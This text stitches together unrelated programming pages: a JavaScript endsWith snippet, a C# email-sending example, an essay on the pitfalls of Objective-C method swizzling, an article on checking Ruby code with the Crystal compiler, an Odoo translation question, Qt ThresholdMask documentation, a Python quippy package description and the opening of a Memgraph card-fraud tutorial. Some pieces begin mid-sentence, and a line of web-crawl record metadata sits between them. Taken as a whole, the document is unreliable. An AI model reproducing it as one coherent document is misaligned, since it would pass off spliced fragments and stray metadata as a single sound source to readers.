endsWith()method determines whether a string ends with the characters of another string, returning
trueor
falseas appropriate. This method is case-sensitive.
function confirmEnding(string, target) { // We return the method with the target as a parameter // The result will be a boolean (true/false) return string.endsWith(target); // 'Bastian'.endsWith('n') } confirmEnding('Bastian', 'n');
I hope you found this helpful. This is part of my “How to Solve FCC Algorithms” series of articles on the freeCodeCamp Algorithm Challenges, where I propose several solutions and explain step-by-step what happens under the hood.
Three ways to repeat a string in JavaScript
In this article, I’ll explain how to solve freeCodeCamp’s “Repeat a string repeat a string” challenge. This involves…
Three Ways to Reverse a String in JavaScript
This article is based on Free Code Camp Basic Algorithm Scripting “Reverse a String”! | https://www.freecodecamp.org/news/two-ways-to-confirm-the-ending-of-a-string-in-javascript-62b4677034ac/ | CC-MAIN-2020-05 | refinedweb | 671 | 58.58 |
Let's see the code to send an email. This code is executed on the button click control. First of all don't forget to add the
using System.Web.Mail;
namespace which provides the methods and properties for sending an email.
private void Button1_Click(object sender, System.EventArgs e)
{
MailMessage mail = new MailMessage();
mail.To = txtTo.Text; //put the TO ADDRESS here.
mail.From = txtFrom.Text; //put the FROM ADDRESS here.
mail.Subject = txtSubject.Text; //put the SUBJECT here.
mail.Body = txtBody.Text; //put the BODY here.
SmtpMail.SmtpServer = "localhost"; //put SMTP SERVER you will use here.
SmtpMail.Send(mail);
}
Describe the above Code:
The code you see above is very simple to understand. In the button click event we made the object/instance of the MailMessage class. MailMessage is responsible for sending emails. It also provides several properties and methods. later we assigned several properties.
The line SmtpMail.SmtpServer = "localhost" sets the server for the mail. If you are running the application on your own pc using IIS than your server will be "localhost". If your website is running on the production server you can have different SmtpServer name.
The final line SmtpMail.Send(mail) sends the email to the email address provided.
Shashi Ray
Hall of Fame Twitter Terms of Service Privacy Policy Contact Us Archives Tell A Friend | http://www.dotnetspark.com/kb/164-code-for-sending-email.aspx | CC-MAIN-2018-39 | refinedweb | 222 | 71.1 |
I have heard people state that method swizzling is a dangerous practice. Even the name swizzling sugests that it is a bit of a cheat.
Method Swizzling is modifying the mapping so that calling selector A will actually invoke implementation B. One use of this is to extend behavior of closed source classes.
Can we formalise the risks so that anyone who is deciding whether to use swizzling can make an informed decision whether it is worth it for what they are trying to do.
E.g.
I think this is a really great question, and it's a shame that rather than tackling the real question, most answers have skirted the issue and simply said not to use swizzling.
Using method sizzling is like using sharp knives in the kitchen. Some people are scared of sharp knives because they think they'll cut themselves badly, but the truth is that sharp knives are safer.
Method swizzling can be used to write better, more efficient, more maintainable code. It can also be abused and lead to horrible bugs.
As with all design patterns, if we are fully aware of the consequences of the pattern, we are able to make more informed decisions about whether or not to use it. Singletons are a good example of something that's pretty controversial, and for good reason — they're really hard to implement properly. Many people still choose to use singletons, though. The same can be said about swizzling. You should form your own opinion once you fully understand both the good and the bad.
Here are some of the pitfalls of method swizzling:
These points are all valid, and in addressing them we can improve both our understanding of method swizzling as well as the methodology used to achieve the result. I'll take each one at a time.
I have yet to see an implementation of method swizzling that is safe to use concurrently1. This is actually not a problem in 95% of cases that you'd want to use method swizzling. Usually, you simply want to replace the implementation of a method, and you want that implementation to be used for the entire lifetime of your program. This means that you should do your method swizzling in
+(void)load. The
load class method is executed serially at the start of your application. You won't have any issues with concurrency if you do your swizzling here. If you were to swizzle in
+(void)initialize, however, you could end up with a race condition in your swizzling implementation and the runtime could end up in a weird state.
This is an issue with swizzling, but it's kind of the whole point. The goal is to be able to change that code. The reason that people point this out as being a big deal is because you're not just changing things for the one instance of
NSButton that you want to change things for, but instead for all
NSButton instances in your application. For this reason, you should be cautious when you swizzle, but you don't need to avoid it altogether.
Think of it this way... if you override a method in a class and you don't call the super class method, you may cause problems to arise. In most cases, the super class is expecting that method to be called (unless documented otherwise). If you apply this same thought to swizzling, you've covered most issues. Always call the original implementation. If you don't, you're probably changing too much to be safe.
Naming conflicts are an issue all throughout Cocoa. We frequently prefix class names and method names in categories. Unfortunately, naming conflicts are a plague in our language. In the case of swizzling, though, they don't have to be. We just need to change the way that we think about method swizzling slightly. Most swizzling is done like this:
@interface NSView : NSObject - (void)setFrame:(NSRect)frame; @end @implementation NSView (MyViewAdditions) - (void)my_setFrame:(NSRect)frame { // do custom work [self my_setFrame:frame]; } + (void)load { [self swizzle:@selector(setFrame:) with:@selector(my_setFrame:)]; } @end
This works just fine, but what would happen if
my_setFrame: was defined somewhere else? This problem isn't unique to swizzling, but we can work around it anyway. The workaround has an added benefit of addressing other pitfalls as well. Here's what we do instead:
@implementation NSView (MyViewAdditions) static void MySetFrame(id self, SEL _cmd, NSRect frame); static void (*SetFrameIMP)(id self, SEL _cmd, NSRect frame); static void MySetFrame(id self, SEL _cmd, NSRect frame) { // do custom work SetFrameIMP(self, _cmd, frame); } + (void)load { [self swizzle:@selector(setFrame:) with:(IMP)MySetFrame store:(IMP *)&SetFrameIMP]; } @end
While this looks a little less like Objective-C (since it's using function pointers), it avoids any naming conflicts. In principle, it's doing the exact same thing as standard swizzling. This may be a bit of a change for people who have been using swizzling as it has been defined for a while, but in the end, I think that it's better. The swizzling method is defined thusly:
typedef IMP *IMPPointer; BOOL class_swizzleMethodAndStore(Class class, SEL original, IMP replacement, IMPPointer store) { IMP imp = NULL; Method method = class_getInstanceMethod(class, original); if (method) { const char *type = method_getTypeEncoding(method); imp = class_replaceMethod(class, original, replacement, type); if (!imp) { imp = method_getImplementation(method); } } if (imp && store) { *store = imp; } return (imp != NULL); } @implementation NSObject (FRRuntimeAdditions) + (BOOL)swizzle:(SEL)original with:(IMP)replacement store:(IMPPointer)store { return class_swizzleMethodAndStore(self, original, replacement, store); } @end
This is the big one in my mind. This is the reason that standard method swizzling should not be done. You are changing the arguments passed to the original method's implementation. This is where it happens:
[self my_setFrame:frame];
What this line does is:
objc_msgSend(self, @selector(my_setFrame:), frame);
Which will use the runtime to look up the implementation of
my_setFrame:. Once the implementation is found, it invokes the implementation with the same arguments that were given. The implementation it finds is the original implementation of
setFrame:, so it goes ahead and calls that, but the
_cmd argument isn't
setFrame: like it should be. It's now
my_setFrame:. The original implementation is being called with an argument it never expected it would receive. This is no good.
There's a simple solution — use the alternative swizzling technique defined above. The arguments will remain unchanged!
The order in which methods get swizzled matters. Assuming
setFrame: is only defined on
NSView, imagine this order of things:
[NSButton swizzle:@selector(setFrame:) with:@selector(my_buttonSetFrame:)]; [NSControl swizzle:@selector(setFrame:) with:@selector(my_controlSetFrame:)]; [NSView swizzle:@selector(setFrame:) with:@selector(my_viewSetFrame:)];
What happens when the method on
NSButton is swizzled? Well most swizzling will ensure that it's not replacing the implementation of
setFrame: for all views, so it will pull up the instance method. This will use the existing implementation to re-define
setFrame: in the
NSButton class so that exchanging implementations doesn't affect all views. The existing implementation is the one defined on
NSView. The same thing will happen when swizzling on
NSControl (again using the
NSView implementation).
When you call
setFrame: on a button, it will therefore call your swizzled method, and then jump straight to the
setFrame: method originally defined on
NSView. The
NSControl and
NSView swizzled implementations will not be called.
But what if the order were:
[NSView swizzle:@selector(setFrame:) with:@selector(my_viewSetFrame:)]; [NSControl swizzle:@selector(setFrame:) with:@selector(my_controlSetFrame:)]; [NSButton swizzle:@selector(setFrame:) with:@selector(my_buttonSetFrame:)];
Since the view swizzling takes place first, the control swizzling will be able to pull up the right method. Likewise, since the control swizzling was before the button swizzling, the button will pull up the control's swizzled implementation of
setFrame:. This is a bit confusing, but this is the correct order. How can we ensure this order of things?
Again, just use
load to swizzle things. If you swizzle in
load and you only make changes to the class being loaded, you'll be safe. The
load method guarantees that the super class load method will be called before any subclasses. We'll get the exact right order!
Looking at a traditionally defined swizzled method, I think it's really hard to tell what's going on. But looking at the alternative way we've done swizzling above, it's pretty easy to understand. This one's already been solved!
One of the confusions during debugging is seeing a strange backtrace where the swizzled names are mixed up and everything gets jumbled in your head. Again, the alternative implementation addresses this. You'll see clearly named functions in backtraces. Still, swizzling can be difficult to debug because it's hard to remember what impact the swizzling is having. Document your code well (even if you think you're the only one who will ever see it). Follow good practices, and you'll be alright. It's not harder to debug than multi-threaded code.
Method swizzling is safe if used properly. A simple safety measure you can take is to only swizzle in
load. Like many things in programming, it can be dangerous, but understanding the consequences will allow you use it properly.
1 Using the above defined swizzling method, you could make things thread safe if you were to use trampolines. You would need two trampolines. At the start of the method, you would have to assign the function pointer,
store, to a function that spun until the address to which
store pointed to changed. This would avoid any race condition in which the swizzled method was called before you were able to set the
store function pointer. You would then need to use a trampoline in the case where the implementation isn't already defined in the class and have the trampoline lookup and call the super class method properly. Defining the method so it dynamically looks up the super implementation will ensure that the order of swizzling calls does not matter. | https://codedump.io/share/EwuFU64eOGsu/1/what-are-the-dangers-of-method-swizzling-in-objective-c | CC-MAIN-2017-09 | refinedweb | 1,666 | 62.88 |
When it comes to your health, you don’t hesitate to get a second opinion. Doctors don’t always agree, and a second doctor’s appointment is always time well spent when it comes to staying healthy.
But what about your code? A code review is similar to going to see a doctor: Someone examines your code, looks for potential problems and hopefully gives you some advice you can take away. Sadly, however, we don’t always have the time or opportunity for a real code review.
Recently I’ve been learning about the Crystal programming language, a variation on Ruby syntax implemented on the LLVM platform. What’s interesting about Crystal is that is uses static types while at the same time retaining much of Ruby’s original elegance and natural feel. The two languages are so similar, in fact, it’s possible to use the Crystal compiler to parse your Ruby code after making just a few superficial changes. This can be a great way to get helpful feedback on your Ruby code, a free code review from a dramatically different perspective.
Using a compiler for one language on code from another sounds crazy. Will it really work? To find out, let’s look at a simple example.
Rock Stars
Here’s a Ruby class that represents the lead singer of a rock band, and a couple of methods that use it:
class Singer attr_reader :band, :first_name, :last_name def initialize(band, first_name, last_name) @band = band @first_name = first_name @last_name = last_name end end def lead_singer_for(band, singers) singers.find{|s| s.band == band} end def longest_last_name(singers) singers.map{|s| s.last_name}.max_by{|name| name.size } end
This is similar to Ruby code I write everyday: small classes containing a few instance variables, and short, simple methods. With some test data we can try out this code to see if it works:
lead_singers = [ Singer.new("The Rolling Stones", "Mick", "Jagger"), Singer.new("Queen", "Freddie", "Mercury"), Singer.new("The Doors", "Jim", "Morrison") ] singer = lead_singer_for('The Doors', lead_singers) puts "#{singer.first_name} #{singer.last_name}" # => Jim Morrison puts longest_last_name(lead_singers) # => Morrison
Everything works well. On a real project I’d express this as a series of Minitest expectations, and seeing green I’d go ahead and check it into Git on a branch and ask a colleague for a code review.
But what if no one is around or even awake in my time zone? Or what if I’m working alone on this? Well, I’d have to review my own code alone.
Code Reviewing Yourself
I believe in the medical world doctors have a legal or at least an ethical prohibition on treating themselves, for obvious reasons. And just as giving yourself a physical exam makes no sense, reviewing your own code doesn’t either. You don’t have perspective on what you wrote, especially just after you finish writing it. Usually, a fresh pair of eyes will see mistakes that you can’t see.
But in this case I have no choice – I decide to review my own code before checking it in. And right away I find a problem: I call
find but never consider whether the return value could be
nil:
def lead_singer_for(band, singers) singers.find{|s| s.band == band} end
In my test, I happened to pick a band name that existed in the test data set, but if I misspell it or look for a different band, I would get an error:
singer = lead_singer_for('Doors', lead_singers) puts "#{singer.first_name} #{singer.last_name}" # => undefined method `first_name' for nil:NilClass (NoMethodError)
I make this sort of mistake quite often, actually. In fact, I do it so often that checking for
nil after calling
find is part of my mental checklist for code reviews.
Superficial Syntax Differences: Crystal vs. Ruby
But suppose I was tired or in a rush; I might not have noticed the call to
find. And often forgetting to check for a
nil return value isn’t as obvious as it is here in this example. What if there was a way to find code issues the Ruby interpreter doesn’t report? Imagine if this code review could happen before my code is ever deployed or used?
There is; we just need to run my Ruby code through the Crystal compiler:
$ cp lead_singers.rb lead_singers.cr $ crystal lead_singers.cr
What? Pat, this is nuts. Crystal, while superficially similar to Ruby, is a very different language. How in the world can I use a compiler written for one language on code written in another?
Well, you’re right. I run into a syntax error immediately:
$ crystal lead_singers.cr Syntax error in ./lead_singers.cr:27: unterminated char literal, use double quotes for strings singer = lead_singer_for('Doors', lead_singers) ^
The most common difference of all between Crystal and Ruby is that Crystal uses only double quotes for string literals, while Ruby allows either single or double quotes. (Some people think Ruby should limit us to double quotes also.) A quick search and replace solves this problem:
singer = lead_singer_for("Doors", lead_singers)
Let’s compile again:
$ crystal lead_singers.cr Error in ./lead_singers.cr:3: undefined method 'attr_reader' attr_reader :band, :first_name, :last_name ^~~~~~~~~~~
We’ve run into another difference: Crystal uses the
property keyword (actually a macro) instead of
attr_reader,
attr_writer and
attr_accessor. Easy enough to fix:
class Singer property :band, :first_name, :last_name def initialize(band, first_name, last_name) @band = band @first_name = first_name @last_name = last_name end end
Now let’s try again. Compiling my Ruby code using Crystal for a third time, I get:
$ crystal lead_singers.cr Error in ./lead_singers.cr:22: instantiating 'Singer:Class#new(String, String, String)' Singer.new("The Rolling Stones", "Mick", "Jagger"), ^~~ instantiating 'Singer#initialize(String, String, String)' in ./lead_singers.cr:6: Can't infer the type of instance variable '@band' of Singer The type of a instance variable, if not declared explicitly with `@band : Type`, is inferred from assignments to it across the whole program. The assignments must look like this: 1. `@band = 1` (or other literals), inferred to the literal's type 2. `@band = Type.new`, type is inferred to be Type 3. `@band = Type.method`, where `method` has a return type annotation, type is inferred from it 4. `@band = arg`, with 'arg' being a method argument with a type restriction 'Type', type is inferred to be Type 5. `@band = arg`, with 'arg' being a method argument with a default value, type is inferred using rules 1, 2 and 3 from it 6. `@band = uninitialized Type`, type is inferred to be Type 7. `@band = LibSome.func`, and `LibSome` is a `lib`, type is inferred from that fun. 8. `LibSome.func(out @band)`, and `LibSome` is a `lib`, type is inferred from that fun argument. Other assignments have no effect on its type. Can't infer the type of instance variable '@band' of Singer @band = band ^~~~~
Oh my God, I’ve made a mistake so terrible the Crystal compiler has given me an error message an entire page long! This is never going to work. As you might guess, I’ve fixed all of the superficial syntax issues. Now my Ruby code is essentially Crystal code. This error is telling me I haven’t picked a type for one of my instance variables, which I’ll do next.
But let’s stop for a moment to review what I’ve changed so far:
- First, I replaced single quotes with double quotes for all of my string literals.
- Then, I changed
attr_readerto
property.
There are a few other superficial differences you’ll run into between Ruby and Crystal. Here are a few more I’ve come across:
include?is called
includes?in Crystal. This reads better in English, but I suppose Crystal loses a bit of that charming Japanese style we’ve come to love in Ruby.
- The
Symbol#to_procsyntax doesn’t work in Crystal, for example
map(&:method. Instead, they’ve invented a new syntax for that idiom which doesn’t exist in Ruby:
map(&.method). The Crystal team explains why on their blog.
- Declaring an empty array
[]or hash
{}requires a type definition, like this:
[] of Int32.
The syntax changes I had to deal with are quite small. In fact, it’s amazing the two languages are so similar. In just a few minutes I can change my code from Ruby, a dynamic language running with an interpreter, to Crystal, a statically typed language that compiles to LLVM byte code and later native machine language.
Think About Which Types to Use
Like an X-Ray, Crystal can find problems with your Ruby code hidden underneath the surface.
Of course, now that I’m using a language with static types I have to pick types for my variables. If you’ve ever used an older, statically typed language like Java or C, you know how tedious and verbose this can be. In fact, avoiding static types is why many of us started to use Ruby in the first place.
But one of Crystal’s strengths is that it can guess which type to use for each value in your code based on a series of rules. I don’t have to explicitly write the type for every variable, method argument or return value in my code. This might even be a preview of how Ruby might work in the future.
However, in some cases, Crystal can’t guess which type to use. That’s what happened here. Take the time to read through the page-long error message; it’s quite helpful. It explains all of the patterns the Crystal compiler looked for in my code,
@band = 1,
@band = Type.new etc. But because my assignment
@band = band didn’t fall into any of these categories, Crystal couldn’t figure out what type of value
@band represents:
in ./lead_singers.cr:6: Can't infer the type of instance variable '@band' of Singer
To fix this, I’ll just declare the type of my
@band variable right where I declare it, along with my two other instance variables:
class Singer property band : String property first_name : String property last_name : String def initialize(band, first_name, last_name) @band = band @first_name = first_name @last_name = last_name end end
Notice here I use
property three times, specifying each variable’s name and type. My three variables,
band,
first_name and
last_name are all strings, so I just need to tell Crystal this using a more verbose declaration.
Now we should be good to go! Let’s try compiling again:
$ crystal lead_singers.cr Error in ./lead_singers.cr:30: undefined method 'first_name' for Nil (compile-time type is (Singer | Nil)) puts "#{singer.first_name} #{singer.last_name}" ^~~~~~~~~~ ================================================================================ Nil trace: ./lead_singers.cr:29 singer = lead_singer_for("Doors", lead_singers) ^~~~~~ ./lead_singers.cr:29 singer = lead_singer_for("Doors", lead_singers) ^~~~~~~~~~~~~~~ ./lead_singers.cr:15 def lead_singer_for(band, singers) ^~~~~~~~~~~~~~~ ./lead_singers.cr:16 singers.find{|s| s.band == band} ^~~~ /Users/pat/bllvm/crystal/src/enumerable.cr:228 def find(if_none = nil) /Users/pat/bllvm/crystal/src/enumerable.cr:232 if_none ^~~~~~~ /Users/pat/bllvm/crystal/src/enumerable.cr:228 def find(if_none = nil) ^
Ugh; more trouble. Another page-long error message. Maybe I should just forget all about Crystal and go back to writing Ruby.
Understanding a Crystal Nil Trace
Instead, I decide to take some time to understand what Crystal is telling me. I focus at the beginning of the Crystal error message:
Error in ./lead_singers.cr:30: undefined method 'first_name' for Nil (compile-time type is (Singer | Nil)) puts "#{singer.first_name} #{singer.last_name}" ^~~~~~~~~~
This looks unfamiliar to me, a Ruby developer, at first. The message is similar to the error I saw earlier in Ruby when I didn’t check the return value for
find. Recall that was “undefined method `first_name' for nil:NilClass (NoMethodError)”. Crystal seems to be telling me the same thing: “undefined method ‘first_name’ for Nil.”
And it is. But instead of giving me a runtime exception, Crystal is giving me a compile time error based on types. Ruby didn’t report the problem until I ran my Ruby code, when Ruby actually tried to call the
first_name method on the
NilClass class. But Crystal’s compiler has found the problem before my code was ever run. It knows the
Nil class doesn’t have a
first_name method at compile time.
But why does Crystal think there is a
Nil class in my code? I just told it my three instance variables are strings:
property band : String property first_name : String property last_name : String
What the Crystal compiler did is quite interesting! While compiling my code, it saw that I use the
@band instance variable in the
lead_singer_for method:
def lead_singer_for(band, singers) singers.find{|s| s.band == band} end
Internally, the Crystal compiler now has to decide what type
lead_singer_for returns. That’s obvious, isn’t it? It should return a
Singer. The call to
find returns a
Singer object, the first element of the
singers array which matches the band, the element for which the block returns
true.
But what if the band name doesn’t match any singers? What if the block never returns
true for any element in the array? As we know from Ruby, in that case
lead_singer_for would return
nil. So
lead_singer_for might return
nil or it might return a singer.
Crystal’s type system has a solution for this situation: a union type. Crystal decides
lead_singer_for returns a
(Singer | Nil) type, which it mentions in the error message. Now when I use this return value, Crystal’s compiler knows to check whether the
first_name and
last_name methods are defined for every class in that union type:
Singer and
Nil.
The rest of the long error message is known as a “Nil trace.” To help us understand what is wrong, Crystal backtracks through the code starting from where the missing method was found to where the offending type was introduced. You can read the Nil trace above for yourself. It starts with:
./lead_singers.cr:29 singer = lead_singer_for("Doors", lead_singers) ^~~~~~
And reading down you can see where the
Nil type was actually introduced:
/Users/pat/bllvm/crystal/src/enumerable.cr:228 def find(if_none = nil)
As you can see, the
Nil type is a default value passed to the
Enumerable#find method, which I call in
lead_singer_for. Crystal’s standard library is entirely implemented using Crystal. This means if I’m curious (and I am) I can read how Crystal implements all of the
Enumerable methods. I could even go and experiment with the language by modifying them.
In fact, the Crystal compiler itself is implemented with Crystal! Interested in learning about how a real world compiler works but don’t have time to learn C or C++? Read the Crystal source code.
Think Twice About Which Types to Use
Now back to my example. I’m done, right? Recall in my Ruby code I added a check for the return value of
lead_singer_for:
singer = lead_singer_for("Doors", lead_singers) if singer puts "#{singer.first_name} #{singer.last_name}" else puts "Not found" end
The same fix will work for Crystal. The Crystal compiler is clever enough to know that inside the first branch of the if-statement the type of
singer is
Singer and not
Nil. And in the second, else branch it is
Nil and not
Singer. It splits up the union type again depending on the syntax of my program. Amazing.
But before I declare victory, this business about the
(Singer | Nil) union type has got me thinking… Crystal decided that a
nil value can be introduced by my code in a certain scenario. But maybe
nil should be a valid value for one of my variables? After all, I’m dealing with rock stars. Sometimes rock stars become so famous they decide they don’t need a last name any more. What about lead singers like String, Bono or Prince? How would I represent them in my test data set?
The answer is obvious: their singer objects would have a
nillast_name value. I would create them like this:
Singer.new("The Police", "Sting", nil)
In Ruby, this would have worked just fine. But Crystal objects:
$ crystal lead_singers.cr Error in ./lead_singers.cr:26: instantiating 'Singer:Class#new(String, String, Nil)' Singer.new("The Police", "Sting", nil), ^~~ instantiating 'Singer#initialize(String, String, Nil)' in ./lead_singers.cr:10: instance variable '@last_name' of Singer must be String, not Nil @last_name = last_name ^~~~~~~~~~
What do I do now? How can I save a
nil last name in my
Singer class? The instance variables are strings and cannot hold
nil.
The answer is I picked the wrong type for
last_name. To accommodate super-famous singers, I need to use the same union type we saw earlier:
class Singer property band : String property first_name : String property last_name : (String | Nil) def initialize(band, first_name, last_name) @band = band @first_name = first_name @last_name = last_name end end
Now I can create the Sting object no problem:
Singer.new("The Police", "Sting", nil)
Finally, we’re ready to compile my Ruby and move on!
$ crystal lead_singers.cr Error in ./lead_singers.cr:37: instantiating 'longest_last_name(Array(Singer))' puts longest_last_name(lead_singers) ^~~~~~~~~~~~~~~~~ in ./lead_singers.cr:20: undefined method 'size' for Nil (compile-time type is (String | Nil)) singers.map{|s| s.last_name}.max_by{|name| name.size } ^~~~ ================================================================================ Nil trace: ./lead_singers.cr:20 singers.map{|s| s.last_name}.max_by{|name| name.size } ^~~~
Once again the Crystal compiler has stopped me in my tracks. When will I ever get this right? Is this another Ruby vs. Crystal difference? Another subtlety of the Crystal type system I need to learn about?
Static Types Reveal a Hidden Problem
No. Crystal has found a real problem with by Ruby code, a problem I never noticed. Because Sting doesn’t have a last name, the
longest_last_name method runs into a problem:
def longest_last_name(singers) singers.map{|s| s.last_name}.max_by{|name| name.size } end
The first call to
map returns an array of last names, which now will contain
nil. Then I pass that array into
max_by which converts the names into corresponding name lengths, and then returns the longest name.
Now that I know where to look, it’s easy to see the problem:
max_by will pass
nil to the second block for Sting’s missing last name, and the block will then try to call the
size method on
nil. Easy enough to fix:
def longest_last_name(singers) singers.map{|s| s.last_name}.compact.max_by{|name| name.size } end
Using
compact, I remove the
nil element from the array of names, meaning the
size method will never be called on
nil. Of course, now that I’m thinking about
nil values and the
longest_last_name method, I realize that maybe all the singers are super-famous and have no last names, or possibly there were no singers to begin with. I tighten up my code even more:
def longest_last_name(singers) singers_with_last_names = singers.map{|s| s.last_name}.compact unless singers_with_last_names.empty? singers_with_last_names.max_by{|name| name.size } end end last_name = longest_last_name(lead_singers) if last_name puts last_name else puts "Not found" end
Now everything works!
One interesting footnote here: Ruby allows me to get away without checking for an empty array using
unless. In Ruby if I call
max_by on an empty array it simply returns
nil, meaning there is no maximum value at all. But Crystal is even more strict: It raises an runtime exception “Empty enumerable (Enumerable::EmptyError)”. In a sense this is going a bit overboard, because
nil seems to me a valid result in this case. But on the other hand, calling
max_by on an empty array might be an indication of other problems in my code. Crystal brings that to my attention, but with a runtime exception not a compile error. Crystal reports runtime errors for other cases as well, for example looking for a value in a hash when the key doesn’t exist:
hash = { "a" => 123 } puts hash["b"] # => Missing hash key: :b (KeyError)
The Crystal compiler expects a higher level of quality and thoroughness in my code than Ruby does, it seems to me.
Conclusion
There are two important concepts I took away from this exercise. First, using Ruby we depend on the completeness of our test suite in order to find and avoid mistakes. Precisely which values you choose for your test data set is very important. If I had thought of using Sting when I originally wrote my tests, I would have found the missing last name problem right away. But I didn’t.
Second, the most tedious and time-consuming part of converting from Ruby to Crystal, choosing a type for each value in my code, is of course, the most valuable step in the process. It wasn’t until I tried using
(String | Nil) for the
@last_name variable that the Crystal compiler found the missing last name problem for me.
You still may not be convinced. This was obviously a very contrived example and using the Crystal compiler on real-world Ruby code won’t be easy. I agree. It would be pointless to try to compile a large Rails application using Crystal.
But look over your code. I would guess there are a few important methods or classes which are central to your application’s behavior and logic. Take an hour or two and copy and paste those important lines of code into a separate file, stub out any dependencies, and run it through the Crystal compiler. Take the time to convert your code to use static types. Take the time to think carefully about which types of values your code should be able to handle.
Bring your important Ruby code to the Crystal compiler for a second opinion. You might be surprised by what Crystal finds.
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Odoo Help
This community is for beginners and experts willing to share their Odoo knowledge. It's not a forum to discuss ideas, but a knowledge base of questions and their answers.
How to get a translated record?
This code returns a string in english:
description = (pool.get('ir.model.data') .get_object(cr, uid, 'crm_unassigned_leads_notify', 'mt_unassigned_lead') .description)
However, it's translated to spanish in the module, and it appears correctly translated in the UI.
How can I get that string translated?
Note that I cannot use
from openerp.tools import _ because this code runs as an automated action, in a sandboxed environment. See the whole code if you! | https://www.odoo.com/forum/help-1/question/how-to-get-a-translated-record-44983 | CC-MAIN-2016-50 | refinedweb | 109 | 61.22 |
Masks the source item with another item and applies a threshold value. More...
The masking behavior can be controlled with the threshold value for the mask pixels.
Note: This effect is available when running with OpenGL.
The following example shows how to apply the effect.
import QtQuick 2.0 import QtGraphicalEffects 1.0 Item { width: 300 height: 300 Image { id: background anchors.fill: parent source: "images/checker.png" smooth: true fillMode: Image.Tile } Image { id: bug source: "images/bug.jpg" sourceSize: Qt.size(parent.width, parent.height) smooth: true visible: false } Image { id: mask source: "images/fog.png" sourceSize: Qt.size(parent.width, parent.height) smooth: true visible: false } ThresholdMask { anchors.fill: bug source: bug maskSource: mask threshold: 0.4 spread: 0.2 } } item that is going to be used as the mask. Mask item gets rendered into an intermediate pixel buffer and the alpha values from the result are used to determine the source item's pixels visibility in the display.
Note: It is not supported to let the effect include itself, for instance by setting maskSource to the effect's parent.
This property defines the source item that is going to be masked.
Note: It is not supported to let the effect include itself, for instance by setting source to the effect's parent.
This property defines the smoothness of the mask edges near the threshold alpha value. Setting spread to 0.0 uses mask normally with the specified threshold. Setting higher spread values softens the transition from the transparent mask pixels towards opaque mask pixels by adding interpolated values between them.
The value ranges from 0.0 (sharp mask edge) to 1.0 (smooth mask edge). By default, the property is set to
0.0.
This property defines a threshold value for the mask pixels. The mask pixels that have an alpha value below this property are used to completely mask away the corresponding pixels from the source item. The mask pixels that have a higher alpha value are used to alphablend the source item to the display.
The value ranges from 0.0 (alpha value 0) to 1.0 (alpha value 255). By default, the property is set to
0.0.
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A parser for the Quipper ASCII quantum circuit output format.
Project description
Quippy is a parser for quantum circuit descriptions produces by Quipper. Specifically, Quipper can output an ASCII description of the circuit, which can then be parsed by Quippy.
Quippy provides a default parser in quippy.parser that will parse given text as:
import quippy parsed:quippy.Start = quippy.parser().parse(text)
The parsed format uses an quippy.Start object to represent the Quipper circuit by default. This is a nice Object representation of the circuit the Abstract Syntax Tree is directly transformed to by quippy.transformer.QuipperTransformer. The resulting parsed object will have as type a Start object which will make the structure of the parse tree much clearer. If you do no wish to use the included transformer but would rather have a general AST then pass:
quippy.parser(transformer=None)
We use the optional static typing provided in PEP 484 to provide types for the returned objects, this was included in Python 3.5 or higher. Python 3.6 or higher is recommended.
Project details
Download files
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Introduction
There is a large and ever-growing number of use cases for graph databases and many of them are centered around one important functionality: relationship traversals. While in traditional relational databases the concept of foreign keys seems like a simple and efficient idea, the truth is that they result in very complex joins and self-joins when the dataset becomes too inter-related.
Graph databases offer powerful data modeling and analysis capabilities for many real-world problems such as social networks, business relationships, dependencies, shipping, logistics… and they have been adopted by many of the world's leading tech companies.
The use case you'll be working on is Fraud Detection in large transaction networks. Usually, such networks contain millions of relationships between POS devices, logged transactions, and credit cards which makes it a perfect target for graph database algorithms.
In this tutorial, you will learn how to build a simple Python web application from scratch. You will get a basic understanding of the technologies that are used, and see how easy it is to integrate a graph database in your development process.
Since you will be building a complete web application there is a number of tools that you will need to install before getting started:
-.
- Memgraph DB: a native fully distributed in-memory graph database built to handle real-time use-cases at enterprise scale. Follow the Docker Installation instructions. While it's completely optional, I encourage you to also install Memgraph Lab so you can execute Cypher queries on the database directly and see visualized results.
Understanding the Payment Fraud Detection Scenario
First, let's define all the roles in this scenario:
- Card - a credit card used for payment.
- POS - a point of sale device that uses a card to execute transactions.
- Transaction - a stored instance of buying something.
Your application will simulate how a POS device gets compromised, then a card in contact with that POS device gets compromised as well and in the end, a fraudulent transaction is reported.
Based on these reported transactions, Memgraph is used to search for the root-cause (a.k.a. the compromised POS) of the reported fraudulent transactions and all the cards that have fallen victim to it as shown below.
Because this is a demo application you will create a set number of random cards, POS devices, and transactions. Some of these POS devices will be marked as compromised. If you find a compromised POS device, while searching for frauds in the network, then you'll mark the card as compromised as well. If the card is compromised, there is a 0.1% chance the transaction is fraudulent and detected (regardless of the POS device). You can then visualize all the transactions and cards connected to that POS device and resolve them as not fraudulent if need be.
Defining the Graph Schema
After we defined the scenario, it's time to create the graph schema!
A graph schema is a "dictionary" that defines the types of entities, vertices, and edges, in the graph and how those types of entities are related to one another.
Ok, so you know that there are three main entities in your model: Card, POS and Transaction.
The next step is to determine how these entities are represented in the graph and how they are connected. If you are not familiar with graph databases, a good rule of thumb is to use a relational analogy to get you started. All of these entities would be separate tables in a relational database and therefore they could be separate types of nodes in a graph. And so it is!
Each type of node has a different label:
Card,
Pos and
Transaction.
All of them have the property
id so you can identify them. The nodes
Card and
Pos also have the boolean property
compromised to indicate if fraudulent activity has taken place. The node
Transaction has a similar boolean property with the name
fraudReported.
But how are these nodes connected? The nodes labeled
Card and
Transaction are connected via a relationship of type
:USING. Internalize the meaning by reading it out loud: a transaction is executed USING a card. In the same fashion, a transaction is executed AT a POS device so the relationship between
Transaction and
POS is of type
:AT.
Using the Cypher query language notation, the data structure when there are no frauds looks like this:
(:Card {compromised:false})<-[:USING]-(:Transaction)-[:AT]->(:Pos {compromised: false})
The data structure when frauds occur:
(:Card {compromised:true})<-[:USING]-(:Transaction)-[:AT]->(:Pos {compromised: true}) (:Card {compromised:true})<-[:USING]-(:Transaction {fraudReported:true})-[:AT]->(:Pos)
Building the Web Application Backbone
This is presumably the easy part. You need to create a simple Python web application using Flask to be your server. Let's start by creating a root directory for your project and naming it
card_fraud. There you need to create a
requirements.txt file containing the necessary PIP installs. For now, only one line is needed:
Flask==1.1.2
You can install the specified package by running:
pip3 install -r requirements.txt
Add a new file to your root directory with the name
card_fraud.py and the following code:
from flask import Flask app = Flask(__name__) @app.route('/') @app.route('/index') def index(): return "Hello World"
